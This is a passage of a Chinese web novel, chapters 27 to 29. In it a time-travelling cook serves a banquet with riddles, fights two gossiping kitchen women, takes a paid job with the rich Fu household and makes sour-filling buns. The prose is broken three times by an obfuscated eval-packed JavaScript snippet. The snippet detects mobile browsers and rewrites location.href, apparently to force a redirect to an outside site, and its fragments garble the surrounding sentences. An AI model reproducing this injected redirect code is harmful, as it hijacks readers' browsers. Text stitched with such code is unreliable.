花吉团就招手另外唤来两个小丫头，端起桌上一排放着盖的白瓷盘，如一条黑线般排着队送到了前头。 傅霁景看着放在自己面前的瓷盘，颇为疑惑地挑了挑眉。 其余宾客亦是不解。 直到丫头们将盖子掀开，众人才看见原来这白瓷盘中心装着一张字条。 打开一看，居然是个字谜？ 27. 多拿赏钱 “草不平，草荡漾，草近波，草如浪。”有官员取来字条，将上头的谜面轻声念出，“嘶，要打一个字？” 吃宴席时猜字谜，这倒是新鲜。 “敢问这几位娘子，膳工娘子这是何意？”有人问。 那丫头福身一礼，恭敬道：“娘子说凉饼有限，只能做一份儿送一份儿。在座各位大人皆是龙章凤姿，不知谁先谁后，便只好以字谜做关，哪位大人胜了，便先奉上凉饼。” 这宴席上的全是文人，大家都玩惯了这类文字游戏，如今见到这位手艺极好的膳工娘子，竟也要同他们玩字谜，不由得哈哈大笑起来。 “好啊，既风雅有趣，又能消食解闷，这位膳工娘子好伶俐。” “便算我一个。” “也算我一个，让我先猜。” 众人颇为热情。 柳金枝既然已经做好了面，这字谜自然不会出的太难。 于是不消片刻，就有一位年轻郎君率先站起来道：“解析：“以草为首，草下有波，便是菠菜的‘菠’！膳工娘子第一个字谜倒是一点儿不难为人。” 丫头揭露谜底，正是菠字。 便福身一礼，送上凉饼。 年轻郎君得意一笑，拱手笑道：“哈哈，诸位可不要怪晚辈抢先这第一口凉饼。” 众人不由笑道：“且先让你一回，看看第二个字谜如何。” 又揭开一个盖子。 谜面是：“士出言后世民动，打一两字水果。” 这回倒是由一位年长些的相公抢了先，笑道：“桔子是也！” 正中谜底，抢到第二碗。 这谜面倒是不难，可这几十人一块儿抢，倒是难能率先作答，这可难为坏了柴靖。 好在他也不是走寻常路的人，憋了半天，想了个坏主意，凑近了傅霁景道： “霁景，你说这般争抢下去，咱俩猴年马月才能吃到？就是吃到，也不过一碗，始终不能痛快。” 傅霁景本是闷闷坐着，并不想参与热闹。闻得柴靖言论，倒是好笑似地抬起眼眸来，道： “姐夫想作何？” “我听杏安那小猢狲说，你与这位膳工娘子相熟？” “……唔，算是相熟。” 傅霁景含糊不清地应了一声。 “既是相识，那便算作自家人！”柴靖起了劲儿，“自古是肥水不流外人田，不如你去与她说说情，叫她出个难些的谜面，只把谜底告诉我。嘿嘿，我这不就吃到了吗？” 傅霁景呼出口气，摇摇头，道：“无规矩不成方圆。” 言下之意是不帮你走后门。 柴靖大郁闷。 府内宴席只办一天，到了散场时，李司正并主家夫人都出门送客。 一群文人互相拱手，热热闹闹出了门。 走时还在议论今晚的凉饼酸酸甜甜，弹牙劲道，十分好吃，又叹息不知以后还能不能在司正家吃到这般凉饼。 李司正闻言，越发得意，叫夫人亲自差人把酬金送去膳房。 柴靖与傅霁景对视一眼，皆是默契地往后院膳房走去。 与此同时，柳金枝正受一众丫头恭贺之时。 “柳娘子，我听说老爷今日因为膳食做得好，高兴的很，怕是要重重赏你呢。” “司正老爷向来出手大方，这回娘子怕是有的赚啦！” “娘子若日后还有门路进司□□主持四司六局，还请娘子多多提携我们，我们也好跟着沾光。” …… 柳金枝一时间笑得合不拢嘴。 然而一片恭贺声中，却有一两句不中听的酸言酸语。 “咱们四司六局哪个没出大力气？怎么就净赏她东西。” “你没见人家生得俏丽又年轻，哪儿是你我这等老妇可比的？这赏钱当然也拿的多一些咯。” “娘子说得对，我们还得去巴结巴结。免得现在只是赏钱多，将来指不定就成了府里头的姨娘了。” 柳金枝往人堆儿里看过去，却见说酸话的正是此前议论了她一句的钱娘子。 虽然此处是在司□□，不能轻易招惹是非，可膳房偏远，此时主家又在前头送客，柳金枝就没什么好忌讳的，走到钱娘子面前就是一声—— “呸！” 钱娘子被唾沫兜头喷了一脸，震惊得瞪大眼睛看向柳金枝。 柳金枝却指着她鼻子骂道：“嘴巴里头生虫的贼歪刺骨，偷在背后议论人。有本事的到老娘跟前儿来，老娘与你仔细理论！” 无论是古代还是现代，职场上最忌讳的就是当软包子。 一些人欺软怕硬，你以为自己是退让了一步，却不知是让别人以为你更好欺负。 柳金枝宁愿自己没素质，也不想把气往肚子里咽。 “好你个小贱//妇！莫不是已经攀上高枝儿了，怎敢如此猖狂！”钱娘子回过神来，怒得涨红了脸，破口大骂，“我□□你祖宗的！” 便要扑上来撕打。 柳金枝哪里会让她得逞，抬腿就是一计窝心脚，踹的这钱娘子脸色霎时变得碴腊焦黄，哎哟一声惨叫扑在地上。 与钱娘子一同议论的那位见状一转身想溜。 柳金枝直接上手就抓，扯住人的头发就死命往回拽。 那人叫得跟个杀猪般凄惨，却又叫柳金枝狠命一掼，登时跌了个八叉摔在地上。 身上的褙子、袄子、外衫都被脏雪浸湿了，插着的冠也歪歪斜斜散到一边，狂也似地大叫： “杀人啦！杀人啦！” 柳金枝可是敢操起刀和男人干架的泼辣子。 就是放在现代也是鼎鼎有名的刺头。 怎肯给这娘子颠倒黑白的机会？ 当下抓过一把湿润黑泥巴土，直接攮进这人嘴里。 “叫叫叫！吃老娘一把土，到地下跟阎王爷叫去！”柳金枝一叠声的骂。 在场的众娘子目瞪口呆。 谁能想到柳金枝看起来温温柔柔，说话和和气气，动起手来居然这么彪悍？！ 当下，一些以为柳金枝年轻，就想着占她便宜的娘子，都讪讪退了几步。 吃了这么大亏，钱娘子决计不肯罢手！ 便拼了命似得从地上爬起来，扑上钱与柳金枝撕打成一团。 你扯我衣裳，我拽你头发。 可柳金枝力道太大，这钱娘子竟然按不住她，不由得大叫： “我□□你祖宗的！吴三姐，你还不来帮忙！” 那吴三姐才被塞了一嘴黑泥，连吐都来不得及呢，哪儿空得出手？ 可怜钱娘子又被柳金枝按在地上撕打了一顿。 正打到酣时，耳边爆起一声雷喝：“住手！都住手！当我这司□□是什么地方？！” 众人扭头一瞧，只见管事嬷嬷一脸阴沉地站在廊下，身后还跟着两个年轻郎君。 柴靖呆呆地看着一身威猛，右手如鹰爪般死死抓住钱娘子发髻的柳金枝，结巴了好久，才喃喃感叹一句： “柳娘子真乃厨中花木兰也！” 傅霁景也微微瞪大眼眸，一双丹凤眼的睁得圆溜儿，却是一声不吭，好似已经被震惊到说不出话来。 柳金枝见傅霁景也在，不由尴尬咳了两声，但不妨碍她快速放开钱娘子的头发，快步走到嬷嬷面前梨花带雨般哭起来： “嬷嬷，你可算来了，请为奴做主啊！” 钱娘子与其余一人大呼不要脸。 正要起身怒骂，就听得嬷嬷冷笑一声，道： “明明是你动的手，却让我做主？你当我老婆子眼瞎吗？” 钱娘子等人忙不迭点头。 “是啊！打得咱俩个苦也！” 柳金枝却是抽抽噎噎地流下眼泪，道：“嬷嬷有所不知，此二人败坏司正大人与大姐儿清誉！” “明里暗里说奴得进司□□全凭色相，可荐我进来的是大姐儿！” “夫人管家森严，老爷清正廉明，大姐儿清清白白。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15519801|169610||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “被这婆子说的仿佛红灯瓦子一般不堪，奴是万般忍受不得，这才撕打起来。” 此话一出，嬷嬷神色顿时好转，反而对钱娘子等人不满起来。 钱娘子几个却恨不得气个倒仰，只觉得柳金枝净挑对自己好的说，可偏偏她又没有说谎。 她俩确实说过这些酸话。 当下一个接一个跪下来，涕泗横流求饶道：“嬷嬷，我俩只是一时糊涂，可没有败坏主家声誉的意思啊！” 嬷嬷冷冷道：“既然能说出这般话，便知道下场是什么。主家心善，你等的酬金自不会少。只是往后四司六局之事，你们就莫要参与了。” 二人听闻，脸色迅速灰败。 李司正在汴京颇有威望，他们不要的，其他府邸听到风声自然也不会聘请。 她们往后虽不会饿死，却再赚不到四司六局的大银子了。 因银子而嫉妒辱骂他人，最后反倒没了银子。 这般惩罚却也公正。 “柳娘子，事情已了，这是主家给你的赏钱。”嬷嬷让人把银子奉上，“另外多加了三成，赏娘子的好手艺。” 柳金枝一笑，接过酬金后，又取出两百文给了嬷嬷，笑嘻嘻道：“多谢嬷嬷照顾，这是孝敬嬷嬷的。” 柳金枝深韵“有钱能使鬼推磨”这句话的道理。 今日这事可大可小，要是嬷嬷禀报给了主家，怕是她也要受些罪，不如给个孝敬，换两句好话。 果然，嬷嬷扫了一眼，笑着接了钱，道：“老奴没看错娘子，娘子果然是位聪明人。” 二人相视一笑，嬷嬷转身走了。 柴靖与傅霁景道：“虽说剽悍，却又十分懂得生存智慧，倒是妙人。” 傅霁景没说话，望向柳金枝的眼神却更明亮了。 于是二人一齐过去。 柳金枝不好意思地笑，道：“叫二位看笑话了。恩人，吓到你了吧？” 这种世家大族里养出来的郎君，怕是没见过底层妇女撕//逼的彪悍模样，不知会不会对她心生厌恶。 傅霁景却摇摇头，道：“娘子为自己正名，理所应当，并无不妥。” 甚至诚恳地夸了一句：“娘子英勇，在下佩服。” 柳金枝：…… 若不是知道这位二郎的人品，她都要以为这话是在故意阴阳她。 柴靖不由扶额。 他这个弟弟就是读书读迂了，怎么能在女子面前夸人家英武呢？ 于是他赶忙岔开话题，把请柳金枝过府照顾傅钗华的事情说了一遍。 “我娘子孕中饮食不振，我们两家都十分忧心。柳娘子手艺高超，若有你在饮食上多加照顾，我娘子进食也会香些。” 傅霁景想说些什么，但抿抿唇，又改为了默默点头。 “原来是这件事，相公莫急，让奴想想。” 柳金枝面露犹豫。 诚然，这是个很不错的买卖。 傅霁景为人温和，家风想必也是如此。去了他家做菜，倒不用怕主家狗眼看人低，肆意刁难。 但再怎么温和，终究也是权贵之家，若稍有差错，后果怕是难以承担。 再说，司□□赚的银子也够霄哥儿走科举了，不用再横生枝节。 打定主意，柳金枝预备婉拒。 岂料柴靖笑眯眯地伸出三根手指：“若娘子愿意答应，傅家愿出三两银子的浇手费。” 柳金枝：！！！ 什么？！ 那可是三两！！！ 她再挣挣，霄哥儿岂止能去科举，说不定她还能正式盘下一个小铺子开饭馆！ “幸得恩人垂青，奴愿去。”柳金枝当即反口。 她这辈子就是死也要死在钱眼里。 傅霁景略微松了口气，这才开口，温声道：“明日我会派杏安来接娘子，子夜之前必然送娘子归家。” 来回有专人接送，又省了一笔驴车费用。 柳金枝喜得答应不迭：“好！” 28. 傅氏门庭 结束宴席后，柳金枝回到家。 天已经黑了，柳家门口却一左一右点了两盏悬挂红纸大灯笼。 灯笼下，柳霄把月牙裹在小毯子里，抱着人坐在门口。月牙的小脑袋靠在柳霄的肩膀上，脑袋一点一点的，似乎有了些睡意，但还没睡过去。而杜卫站在二人旁边与柳霄轻声说话，偶尔说到好笑处，两个少年就相视一笑。 虽然柳金枝忙碌了一天，但回家看见这般其乐融融之景，心还是暖暖的，身上的酸疼也无形中消散了不少。 她抖抖肩膀，迈着轻快步伐走过去，笑嘻嘻道：“怎么都凑在门口呀？” “阿姐！” 月牙看见她高兴地叫了一声，顿时睡意全消般挣扎着跑出柳霄怀抱，屁颠屁颠地扑进她怀里。 柳金枝捏了捏月牙的短胳膊短腿，摸到衣裳上尚附着着一层暖意，便知道柳霄倒是一点没让月牙冻着。 但她还是道：“这么晚了，怎么不把月牙抱进去睡？还拉着杜卫一起站在门口吹冷风，你们两个穿了厚衣裳没有？” 柳霄知道柳金枝是在关心他，心中一暖，笑道：“穿着了，都是阿姐买的新衣裳。” 杜卫道：“我也穿着了，还是今天少东家带着我去买的，可暖和了。” “阿姐，你这个时候了还不回来，我和哥哥还有杜哥哥都很担心，所以才在门口等你。” 月牙声音软软，环抱着柳金枝的小胳膊还带着淡淡的暖意，一直传递到柳金枝的心里去。 柳金枝忍不住失笑，也同样摸摸柳霄和杜卫的脑袋。 “东家，你忙了一天累坏了吧？我们给你留了膳食，快去吃吧。” 杜卫不好意思地红了下脸，让开一条通道。 柳霄也没说，却也笑开了，上前一步接过月牙，好让柳金枝空出手来。 “好，咱们一起。” 柳金枝一手挽一个，一家人乐呵呵地进了门。 家里的窝棚已经修好了，王志环那边也把定好的牲畜送了过来，往日里寂静的庭院中多出了许多嘎嘎、咯咯的声音。 虽然吵，却也热闹。 柳金枝蹲在门槛上，一边望着月光下属于自己的小型农场，一边扒着嘴里的饭，就觉得现在的日子真是格外有盼头。 特别是想到等会儿她要宣布什么，就更是心中火热。 于是她赶紧三两口吃干净碗中饭，召集了全家人一同围在了小桌子边。 借着摇曳的火光，柳金枝把今日赚得赏钱全拿出来。 留下五两银子专供柳霄买笔墨纸砚，上学束脩，剩余的全都存进高粱坛中。 月牙踮起脚，费力晃了晃坛子，惊喜道：“阿姐，又重了！” 又拉杜卫来听。 杜卫贴着耳朵，只听得坛子里的银钱撞击声叮铃作响，也不由得咧嘴傻笑。 柳金枝摸着坛子，笑眯眯道：“我又接了一个大户的单，那家娘家边姓傅，公家边姓柴，我便去傅家照顾他家的大姐孕中饮食。” “有大单子是挺好，可是阿姐要连着两天做大单子，会不会太累了？” 柳霄问。 “我本来挺累的，但一想到会有白花花的银子进账，我就什么辛苦都忍得了。更何况，你们猜傅家能给多少？” 柳金枝一脸神秘。 三个小孩对视一眼，然后跟拨浪鼓似的齐齐摇头。 “那可是三两！而且还不算赏钱。”柳金枝喜滋滋的，“做完这一单，再努努力，咱们就能盘下一间小铺子，开一个属于自己的饭馆！” “三两！”月牙听得两眼发亮，“好阔绰的人家啊，比之前总来摊子吃东西的潘相公都要大方。” 但家有美貌阿姐，柳霄不得不保有疑虑，担忧地问道：“阿姐，那个傅家家风正吗？” “嘶——” 柳金枝思及傅霁景讲礼貌讲到过分的姿态，点点头，道：“不是我说，我觉得他家正的发邪。” 柳霄噗嗤一笑，道：“阿姐你又说些奇奇怪怪的话了。” 但又明白柳金枝不是以前的柳金枝了，现在她说没事，那就肯定是没事，不过为防意外。 柳霄还是道：“虽是如此，但阿姐终究是年轻女子。明天我陪阿姐去，到了晚间，我再去接阿姐回来。” 柳金枝犹豫：“食摊很忙，现下攒够了银子，你又要预备着温书科举，若还要去接我，怕是顾不过来。” “没事儿，我心里有数。” 柳霄一笑，眉眼初现少年人的清朗俊逸。 柳金枝缓下神色，点头笑道：“好。” 当晚柳金枝照旧多预备一些吃食，又卤好该卤的卤味，留待杜卫和柳霄他们在夜市买卖。 第二日，就和柳霄一起坐上了由傅府派来的驴车。 驴车一路向南，大约一个时辰后才停。 瞧着头顶上气势非凡的匾额“朱雀门”，柳金枝不由咂舌。 她是没来过这里，但不妨碍她听说朱雀门附近的土地要比其他地方更贵，能在这里拥有一套属于自己的宅子，家中不说有十万贯，至少也能有万贯。 不过想虽是这样想，柳金枝却一直没看见柳家大门在哪儿。 她左右张望，只看见街道左边是开设的各色食摊、饭馆，右边是一道长达百米的灰墙。 墙中有一扇硕大的红漆双开木质大门，足有五米！ 门楣镶嵌鎏金铜钉，两侧立青石雕狮，兽首威严，鬃毛如焰，仿佛眼放精光，威武不凡。门廊两侧延伸粉墙环护，墙顶覆黛瓦，墙根处点缀太湖石与垂丝绿柳，庄重中透出雅致。 古朴厚重之感，居然比司□□还要盛。 哪怕只是粗略打量，都能知晓这整座宅院必然占地面积甚广，气势恢宏。 柳金枝怔怔的盯着那扇朱漆大门看了许久，才艰难出声：“霄哥儿，你说该不会这一整条街都是傅府吧？” 柳霄默然片刻，缓缓点头：“……应该是。” 嚯！ 要知道这汴京城寸土寸金，就柳家那间老破小租出去也能得不少银子，更何况还是地段更贵的城南？ 一道墙就蜿蜒近百米，这府内面积怕不是堪比学校。 知道傅霁景家世不凡，但也没想到他家能有钱到这个程度啊，这怕是十万贯都打不住的财富啊。 车夫道：“这还不是府里的大门，大门在北边儿呢，咱们往南边儿来，这会子要进的是角门。” 然后就带着柳金枝和柳霄过去叩门。 角门倒是颇为低调朴素，只是一闪双开的木板门。 叩门后，门后很快就冒出来一个丫头打扮的少女，穿着一身嫩柳绿的衣裳，模样白净，像是个上等丫头。 少女小心打量一下柳金枝，继而福身一礼，笑道：“这位想必就是柳娘子了，奴名唤双儿，是我家大姐儿的贴身侍婢，请娘子随我来。” 宅内模样也很是不凡，府邸檐角高翘如飞翼，覆琉璃筒瓦，日光下流转青金光泽。园中假山叠石，嶙峋如云，山脚环抱，曲水荷塘。 每一处景物都可以看得出其背后的花费。 柳金枝一路看的眼花缭乱。 最终抵达女眷住所。 双儿笑道：“我家大姐儿孕中身躯沉重，又易困乏，所以常要睡到三竿才起。不能先引娘子拜见，还望娘子见谅。” 话说的倒是挺有礼貌。 柳金枝也就温声细气道：“奴先为主家将吃食做着就是，只是还有一事要相问姐姐。” “什么？” “敢问主家孕中是爱吃酸，还是爱吃辣？” “孕前倒是爱用辣的，孕后便净挑了酸的吃。为着这个，大姑爷成天往外跑，寻些鲜酸膳食回来。礼部尚书柴大人也往府里连拨了两个膳工……” 柳金枝略微惊讶：“原来主家的姻亲是礼部尚书柴大人，那主家……？” 傅府能与尚书大人结为姻亲，想必自身身份也不低。 果然，双儿道：“我家老爷乃是户部尚书。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15525721|169610||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 户部尚书，从二品官员。 以一人之力掌管大宋钱粮，是权利和财富汇集的中心，自然人人拜服巴结。 当初傅霁景下榻的侯家不过是从三品的工部侍郎，三娘子所在的孙家虽是御史中丞，却也只为从三品。 难怪一个两个都对傅霁景周到侍奉，也难怪这处宅邸这么的恢弘气派。 虽然惊讶于傅家家主品阶，但总也在柳金枝意料之中。 她虽惊讶，却不惊诧，依旧面色沉静地跟着双儿走。 可堪堪路过小庭时，正好有两三位相貌俊郎儒雅的相公朝他们走来。 这几人模样颇为年轻，身上穿戴或绯红，或藏青官服，可见他们并不是无名小官，反而颇有品阶。 可他们一个个不是怀抱奶娃，就是牵着孩子。 谈笑着从她们面前走过。 双儿赶忙带着柳金枝驻足行礼，福身下去时，柳金枝只听得这几人道： “大哥，你怎么不将铭哥儿带来看望祖父？那小家伙可机灵了。” “二弟，你不知道，铭哥儿在学堂里顽皮，砸了老师的墨，被老师罚抄五遍《论语》，现在还被他娘拘在家里头出不来呢。” “哦？那确实该罚。” “诶，大哥，二哥，小弟我倒是把梅哥儿带来了。这小猢狲前几日正启蒙呢，正好叫祖父这个太子太师教教他，嘿嘿。” …… 太、太子什么？ 柳金枝一怔。 太子太师？！ 双儿目送这群人走远，才站起身来笑道：“我家老太爷因性格温和儒雅，学富五车，满腹诗书，所以早些年得蒙陛下垂青，亲封了太子太师，常进宫教东宫念书。” 大概是在这府里头待久了，深受府中恩惠的缘故，双儿说起傅家之事时颇为自豪，不用柳金枝细问，就已经自顾自的说了下去。 “许是因为得皇恩眷顾，老太爷与夫人膝下儿孙满堂。除了我家老爷，还有二爷、三爷、四爷，只是都分散出去做官儿了。” “这几位爷同样是多子多福，方才走过去的几位便是这几位爷的公子，也是各有官职。” “有大理寺少卿、御史台侍御史、中奉大夫……” “就是我家老爷不重香火，所以只有大姐儿和二郎两个。” 就是双儿口中随口提到的几位公子，都是不低于五品的官。 可见傅家门庭不仅仅是有钱有权那么简单，而是真正的簪缨世家，累世清流，世代书香。 家中子孙更是人才济济，福泽深厚，各自在朝堂中为大宋进言献策。 如今联姻，更是使这个家族如烈火烹油般，显出一片花团锦簇、前程无量的局面。 就算傅霁景再没出息，傅家满门荣耀都还能再延续个百年。 更何况傅霁景满腹经纶，必然能让傅家成为流芳千古的钟鸣鼎食之家。 柳金枝深吸一口气，极为震惊的同时，却也格外高兴。 这般高门大户，必然更加乐善好施。 到时给她的赏钱说不定远超司□□。 柳金枝两眼发亮。 银子！银子！ 二人抵达膳房。 柳金枝仔细打量了一番。 她到司□□时，觉得司□□的膳房又大又干净，比她们家的小灶台好多了。 可现在到了傅府，只觉得司□□的膳房都沦为二等，比不得此处光鲜亮丽。 膳房内还一排站着五个小丫头，每个人身上穿着都不错，模样也灵巧。 双儿笑道：“这些便是拨给娘子使用的，娘子若有什么吩咐，尽管指派她们去做。就是食材不新鲜了，也尽可以提出来。” 这般说话，倒并不把柳金枝当作普通膳工娘子对待，反而犹如客人一般温和有礼。 既是如此，柳金枝自当尽心。 “食材若是太新鲜，我却也不要。”柳金枝眉眼弯弯，“敢问双儿娘子，这府上有没有过了一夜的素食馅料？” 29. 酸馅儿包子 双儿一怔，似是没想明白柳金枝的意思。 “娘子这是何意？这过了夜的素食馅料吃了岂不腹泻？” 柳金枝笑摇头道：“非也。” 宋代人爱吃酸馅儿包子，但他们眼中的酸馅儿包子，与柳金枝所说的并不一样。 就如《古今小说·宋四公大闹禁魂张》里写到的一句： “宋四公夜至三更前后，向金梁桥上四文钱买两只焦酸馅。” 这里的焦酸馅儿，就是指带馅儿的小吃。 而柳金枝所说的酸馅儿包子，就是要用各类食材混在一同，放至微微发酸，再启用包料。 只要做法得当，不仅不会腹泻，更是会增加馅料的鲜美程度。 但是傅府重视亲情，傅钗华又是头胎，所以阖府上下极为看重。 双儿第一次听说这酸馅儿包子，倒不敢拿主意直接端给傅钗华用。 “若是双儿娘子忧心，不如我先做一份儿，娘子再叫几个人一同来食用，若是大家皆会腹痛难忍，那我便罢了。”柳金枝道。 双儿觉得有理，松下口风：“如此，我这就差人去寻问，只是怕要费些功夫。” 府内不缺银两，对丫头们的待遇也不错，所以她们大多是不吃过夜食品的。 有个丫头站出来道：“双儿姐姐不必寻了，我哪儿倒有一盆上好的素菜馅料。本是昨夜拌好了，想包几个馄饨吃，却不想太忙，一时忘却了。” “你把馅料放哪儿了？” “拿条绳索挂在水井下头了。” 水井下头颇为寒凉，再加上正是春寒料峭时，这馅料估计正保鲜，没什么大问题。 双儿便愈加放松，笑道：“那正是巧了，你赶紧去把东西取来。” “是。” 素菜馅料被端来时，盆上还好好地盖着一层纱布。 柳金枝把纱布揭开，低头轻嗅，鼻尖顿时萦绕着一股淡淡酸味儿，不浓烈，就好像水滴入了一滴醋，倒是酸酸淡淡的好闻。 “很好，这里头的馅料已经初步发酵了。” 柳金枝很满意。 双儿歪歪头，疑惑不解：“发酵？这是什么意思？” “嗷……就是……”柳金枝挠了挠头，“就是这盆馅料已经很适合做包子的意思。” “原来是这样，娘子用词真独特。”双儿由衷的夸。 柳金枝尴尬地嘿嘿两声。 馅料初步发酵，就会形成独特的酸味儿。 这种酸味儿既可以增加馅料的鲜味儿，又可以促进消化。 一般来说，膳工会选择将之加工成一种两头尖尖长长的包子，再上蒸笼，最后得出的包子鼓鼓的，口感更加松软，咬上一口，酸香扑鼻。 像柳金枝这种爱吃酸辣口味儿的，就特别喜欢吃这种包子。 不过大概是因为丫头月钱有限，所以这盆酸馅儿里头大多是素菜。 摘蒂的木耳、洗净切丝的小白菜…… 许是觉得太没油水，于是里头又添了些肉沫。 粗略一打量，应是最便宜的猪肉。 但是也够了。 柳金枝撸起袖子，找出了一袋面粉。 古时候的筛粉技术较为粗糙，所以精细的好面粉不常见，价格又格外的贵。 司□□能拿出来的面粉虽然还有一些糙口，但已经算是精细了，傅府的面粉居然更胜一筹。 上手抓一把，粉质细腻无比，与现代品质面粉无异，一看就是筛过许多遍才得来的精品。 轻轻煽动面粉袋上方空气，更是可以闻到一股清甜的小麦香气，一看就知道是用上好的小麦粒仔细脱壳磨出来的。 果然是大富贵之家。 柳金枝感叹了一句，态度也更加认真。 毕竟好粮食不易得，要更珍惜才不算辜负。 她舀出一勺面粉，用沉淀一夜的清澈井水兑水拌匀，大力揉搓，揉出一个大大的面团。 为了让最后得出来的面食更劲道，她反复捶打面团足足一刻钟。 最后把面团从盆里挖出来的时候，手光盆光，雪白的面团干爽无比地待在案板中央。 旁边有丫头看着羡慕道：“娘子这和面的手艺真好，我和面的时候，不是粉多，就是面多。” “我也是，但偶尔也有揉得不错的时候。比如我做包子就比做馄饨好，我揉出来的馄饨皮总是太厚。” 另有丫头点头说。 柳金枝笑道：“揉面确实比较讲究，就拿做包子来说，要一杯面，两杯水，糖、盐也不能缺。” “但做馄饨又不一样了，虽然一样是一杯面，两杯水，但还要加蛋清、食言和花椒油。” “揉面则又要一变，一杯面，三杯水，却只要一小勺盐就够了。” 两个丫头听的目瞪口呆。 “原来揉面还有这么多讲究？难怪我只能做一样面食，同样的方法去做其他的就行不通了。” “柳娘子，你能再跟我们说说吗？” “我也想学。” 几个丫头凑上来。 都说教会了徒弟，饿死师傅。 所以古时候好的师傅都藏私，不肯轻易把独门绝技交出去。 因此同样的中华美食，却还分为许多派系，派系之下，又因传承人对食谱有了改良，所以又有了以传承人姓名来命名的各种招牌菜。 柳金枝理解这些前辈的，但她无意于此。 毕竟她从后世来，因风气兼容并包，早就学了百家菜系。 如今若是再死守食谱不肯教出，倒对不起后世那些教导她的老师了。 于是柳金枝将自己知道的揉面方法一一道来。 几个丫头听的认真。 其中一人听得津津有味，却叹气道：“我小时也爱做菜，却没人教我，我只好一个人瞎琢磨。进了府后，嬷嬷觉得我懂算账，想让我去内库帮忙，可我放不下膳房，就自请来这里干活儿。本来是想学些手艺的，不过至今还是个半吊子。” 柳金枝闻言，不由得朝这人看去。 眼前的女子约莫二十五岁光景，皮肤白净，眉眼虽只算得清秀，却自有一种温柔沉稳气质，就像一杯氤氲着热气的茶，看着就叫人舒心。 一个丫头道：“柳娘子，你可别看阿芹这样说，她的手艺可是我们这几个里最好的。” “是啊，每天脑子里不是想着做菜，就是想着食谱。我们还常笑她，若她不在府里头做了，要去汴京城里支个食摊，我们必然都去帮她撑场子。” 阿芹被说的不好意思，脸红道：“我哪儿有能力去支食摊？当个膳徒倒是不错。” 柳金枝听着，不由心念一动。 正好柳霄科举的钱已经存够了，若不出意外，将来柳霄就该以温书为主，至于食摊，她该另请人手。 本来她还在犹豫人手不好找，懂算账，能顾摊的人才就更不好找。 现在这个阿芹既然两者兼备，不如让她试探试探。 也就笑呵呵地问道：“阿芹娘子，你的奴契何时到期？” 阿芹想一想，满眼犹豫和迟疑，道：“算起来也就这两天了吧，其实我也不知该不该离开。” 毕竟往外一步就是不可预知的未来，但如果留在傅府，别的不说，傅府家风温和，治下有道， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15531871|169610||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宛若温室，至少能护人无风无雨。 柳金枝闻言，想了想，便以开玩笑的口吻道：“正巧我的食摊上还缺人手呢，芹娘子若出了府，不如去我哪儿。虽保不得吃香喝辣，每月的工钱却是一定准时结。” 几个人都笑开了。 阿芹也咧开了嘴，笑容却略带思量。 面揉好就要发，足要一个半时辰。 但一群人凑在一起说说笑笑，倒也不觉得时间漫长。 直到双儿回转来，告诉她们傅钗华醒了，洗漱完就要用膳。 一群人才加紧做起手上活儿来。 不消半刻钟，包子就包好了，又放在蒸笼蒸。 等到傅钗华将衣裳穿着齐整后，酸馅儿包子正好出炉。 双儿与膳房里头的六个丫头都凑上来要试菜。 柳金枝将蒸笼盖子一掀开。 蒸汽噗嗤喷出，一时间迷乱人眼。 众丫头却闻见一股扑鼻的酸香，不由得惊呼： “哇！” “好香！” …… 双儿本还担心自己吃了这酸馅儿包子，会跑好几趟茅房，却不想这个味道这样香，心里的防备顿时卸了一半。 阿芹一人发了一双筷子，每个丫头都夹了一个酸馅儿包子喂进嘴里。 “唔……”阿芹嚼了几口，就不由得面露惊艳，“味道酸香鲜嫩，比一般的馅料更好吃！” 双儿说不出来这么多话，也只一个劲儿地点头，又多咬了好几口。 其他丫头也是一个赛一个吃得快。 今早来膳房帮忙，她们可都没吃朝食呢。 “吃完之后，咱们再等上个一时半刻，若并无不妥，那这碟包子就可以呈给大姐儿了。” 双儿笑道。 众人点头，吃完之后不喝水，也不吃其他，更不随意走动，只在膳房坐着。 三刻钟后，前头服侍傅钗华的丫头又来催了第二道，众人你看看我，我看看你，互相确认并无不妥后，才叫双儿将这碟酸馅儿包子带走了。 与此同时。 傅钗华坐在铜镜前，望着镜中如花芙蓉面，先是一笑，后又忍不住伸出纤纤细指抚摸檀木桌上一排胭脂，对旁边眉眼俊朗的青年郎君道： “唉，自从有孕后，这些口脂、胭脂都用不到了。” “夫人眉不描自黑，唇不点自红，不用这些胭脂也有好气色。” 傅钗华嗔笑道：“你惯会哄我开心，我这段时间吃不好，睡不好，脸色都难看了许多。” “女子孕中确实格外辛苦，为夫又是男子，帮不到夫人什么。好在傅弟认识那位柳娘子，我与他一同请了人家来。她做的膳食我用过，十分不错。我想若夫人吃了，即便不能开胃，也能多用一些。” 柴靖温声道。 